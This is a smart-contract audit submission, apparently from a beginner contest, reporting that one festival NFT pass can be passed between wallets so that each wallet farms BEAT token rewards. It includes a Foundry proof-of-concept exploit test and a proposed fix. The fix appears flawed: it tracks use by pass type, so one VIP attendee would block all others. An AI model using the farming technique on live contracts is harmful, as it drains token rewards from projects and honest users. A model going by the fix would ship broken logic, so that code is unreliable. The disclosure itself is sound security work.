Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Users Can Transfer NFT to other wallets and farm Beat Tokens infinitely within Performance Time

Root + Impact

Description

  • Normal Behavior:

    Festival passes (NFTs) allow a user to attend a performance and earn BEAT tokens as a reward. Each wallet that attends a performance with a valid pass should be eligible for BEAT tokens once, reflecting fair and individual participation.


  • Issue:

    Users can transfer the same NFT pass across multiple wallets during the performance window. Each new wallet that receives the pass can independently call attendPerformance(), allowing the same NFT to be used multiple times. This enables attackers to farm BEAT tokens infinitely by looping transfers among controlled wallets.

// Root cause in the codebase with @> marks to highlight the relevant section
function attendPerformance(uint256 performanceId) external {
require(
isPerformanceActive(performanceId),
"Performance is not active"
);
require(hasPass(msg.sender), "Must own a pass"); @> // Only checks if user has *any* pass
require(
!hasAttended[performanceId][msg.sender],
"Already attended this performance"
);
...
}

Risk

Likelihood:

  • NFT transfers are unrestricted during the performance time window.

  • Each new wallet receiving the NFT is treated as a unique eligible participant.

  • There is no mapping to track if a specific pass ID has already been used to attend the same performance.

Impact:

  • Attackers can farm unlimited BEAT tokens with a single VIP pass.

  • Token economy can be significantly diluted, undermining any token utility, reward system, or incentive structure.

  • Creates an unfair advantage for attackers while penalizing honest users.

Proof of Concept

function test_Exploit_PassTransferFarming() public {
address attacker = vm.addr(1);
address[] memory alts = new address[](3);
for (uint256 i = 0; i < 3; i++) {
alts[i] = vm.addr(100 + i);
}
// Step 1: Attacker buys a VIP pass
vm.deal(attacker, 1 ether);
vm.prank(attacker);
festivalPass.buyPass{value: VIP_PRICE}(2); // VIP_PASS = 2
// Step 2: Organizer creates a performance
vm.startPrank(organizer);
uint256 perfId = festivalPass.createPerformance(
block.timestamp + 1 hours,
2 hours,
100e18
);
vm.stopPrank();
// Warp into performance window
vm.warp(block.timestamp + 90 minutes);
// Step 3: Each alt address receives the pass, attends, transfers to next
for (uint256 i = 0; i < alts.length; i++) {
address current = i == 0 ? attacker : alts[i - 1];
address next = alts[i];
// Current transfers pass to next
vm.prank(current);
festivalPass.safeTransferFrom(current, next, 2, 1, ""); // VIP_PASS = 2
// Next attends performance
vm.prank(next);
festivalPass.attendPerformance(perfId);
}
// Step 4: Check BEAT token balances
for (uint256 i = 0; i < alts.length; i++) {
assertEq(beatToken.balanceOf(alts[i]), 200e18); // 2x VIP multiplier
}
}

Recommended Mitigation

+ mapping(uint256 => mapping(uint256 => bool)) public passUsedInPerformance;
// passId => performanceId => used
function attendPerformance(uint256 performanceId, uint256 passId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(
passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS,
"Invalid pass ID"
);
require(balanceOf(msg.sender, passId) > 0, "You do not own this pass"); // Must own this pass
require(!hasAttended[performanceId][msg.sender], "Already attended"); // One attendance per address
require(!passUsedInPerformance[passId][performanceId], "Pass already used"); // One use per pass
require(
block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN,
"Cooldown period not met"
);
hasAttended[performanceId][msg.sender] = true;
passUsedInPerformance[passId][performanceId] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(
msg.sender,
performances[performanceId].baseReward * multiplier
);
emit Attended(
msg.sender,
performanceId,
performances[performanceId].baseReward * multiplier
);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.